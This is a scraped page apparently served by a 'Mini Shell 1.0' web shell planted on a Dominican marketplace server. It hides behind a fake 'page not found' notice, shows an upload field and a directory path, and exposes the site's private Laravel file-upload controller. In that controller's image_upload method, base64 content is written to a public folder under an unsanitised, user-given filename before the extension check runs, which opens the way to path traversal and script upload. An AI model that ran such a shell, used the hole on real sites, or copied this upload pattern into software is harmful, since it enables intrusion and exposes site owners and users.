HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

¡Página no encontrada!

La página que busca no se encuentra en nuestro servidor.

Volver al inicio
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/Api/V2/FileUploadController.php
<?php

namespace App\Http\Controllers\Api\V2;

use App\Http\Controllers\Controller;
use App\Models\Upload;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Log;
use Storage;

class FileUploadController extends Controller {
    //
    public function image_upload(Request $request) {
        $user = User::find(auth()->user()->id);
        if (!$user) {
            return response()->json([
                'result' => false,
                'message' => translate("User not found."),
                'path' => ""
            ]);
        }
        $type = array(
            "jpg" => "image",
            "jpeg" => "image",
            "png" => "image",
            "svg" => "image",
            "webp" => "image",
            "gif" => "image",
        );
        try {
            $image = $request->image;
            $request->filename;
            $realImage = base64_decode($image);
            $dir = public_path('uploads/all');
            $full_path = "$dir/$request->filename";
            $file_put = file_put_contents($full_path, $realImage); // int or false
            if ($file_put == false) {
                return response()->json([
                    'result' => false,
                    'message' => "File uploading error",
                    'path' => ""
                ]);
            }
            $upload = new Upload;
            $extension = strtolower(File::extension($full_path));
            $size = File::size($full_path);
            if (!isset($type[$extension])) {
                unlink($full_path);
                return response()->json([
                    'result' => false,
                    'message' => "Only image can be uploaded",
                    'path' => ""
                ]);
            }
            $upload->file_original_name = null;
            $arr = explode('.', File::name($full_path));
            for ($i = 0; $i < count($arr) - 1; $i++) {
                if ($i == 0) {
                    $upload->file_original_name .= $arr[$i];
                } else {
                    $upload->file_original_name .= "." . $arr[$i];
                }
            }
            //unlink and upload again with new name
            unlink($full_path);
            $newFileName = rand(10000000000, 9999999999) . date("YmdHis") . "." . $extension;
            $newFullPath = "$dir/$newFileName";
            $file_put = file_put_contents($newFullPath, $realImage);
            if ($file_put == false) {
                return response()->json([
                    'result' => false,
                    'message' => "Uploading error",
                    'path' => ""
                ]);
            }
            $newPath = "uploads/all/$newFileName";
            if (env('FILESYSTEM_DRIVER') == 's3') {
                Storage::disk('s3')->put($newPath, file_get_contents(base_path('public/') . $newPath));
                unlink(base_path('public/') . $newPath);
            }
            $upload->extension = $extension;
            $upload->file_name = $newPath;
            $upload->user_id = $user->id;
            $upload->type = $type[$upload->extension];
            $upload->file_size = $size;
            $upload->save();
            $user->avatar_original = $upload->id;
            $user->save();
            return response()->json([
                'result' => true,
                'message' => translate("Image updated"),
                'path' => uploaded_asset($upload->id)
            ]);
        } catch (\Exception $e) {
            return response()->json([
                'result' => false,
                'message' => $e->getMessage(),
                'path' => ""
            ]);
        }
    }

    public static function uploadImage(Request $request, string $filename, User $user) : int | null {

        if (!$request->hasFile($filename) || !$request->file($filename)->isValid()) {
            return null;
        }

        $image = $request->file($filename);

        $extension = strtolower($image->getClientOriginalExtension());
        $allowedExtensions = ['jpg', 'jpeg', 'png', 'svg', 'webp', 'gif'];

        if (!in_array($extension, $allowedExtensions)) {
            Log::error("No se subio una imagen al realizar el registro, el archivo recibido es: $extension");
            return null;
        }

        $fileSize = $image->getSize();

        $dir = public_path('uploads/all');
        $fileName = uniqid() . '.' . $extension;
        $image->move($dir, $fileName);

        $upload = new Upload;
        $upload->file_original_name = $image->getClientOriginalName();
        $upload->file_name = "uploads/all/$fileName";
        $upload->extension = $extension;
        $upload->user_id = $user->id;
        $upload->type = 'image';
        $upload->file_size = $fileSize;
        $upload->save();

        $user->save();

        return $upload->id;
    }

    public static function deleteImage(int $uploadId) {
        $upload = Upload::find($uploadId);

        if (!$upload) {
            Log::error("Archivo no encontrado o no pertenece al usuario: $uploadId");
            return false;
        }

        $filePath = public_path($upload->file_name);

        if (File::exists($filePath)) {
            File::delete($filePath);
        } else {
            Log::error("El archivo físico no existe en la ruta: $filePath");
        }

        $upload->forceDelete();

        return true;
    }
}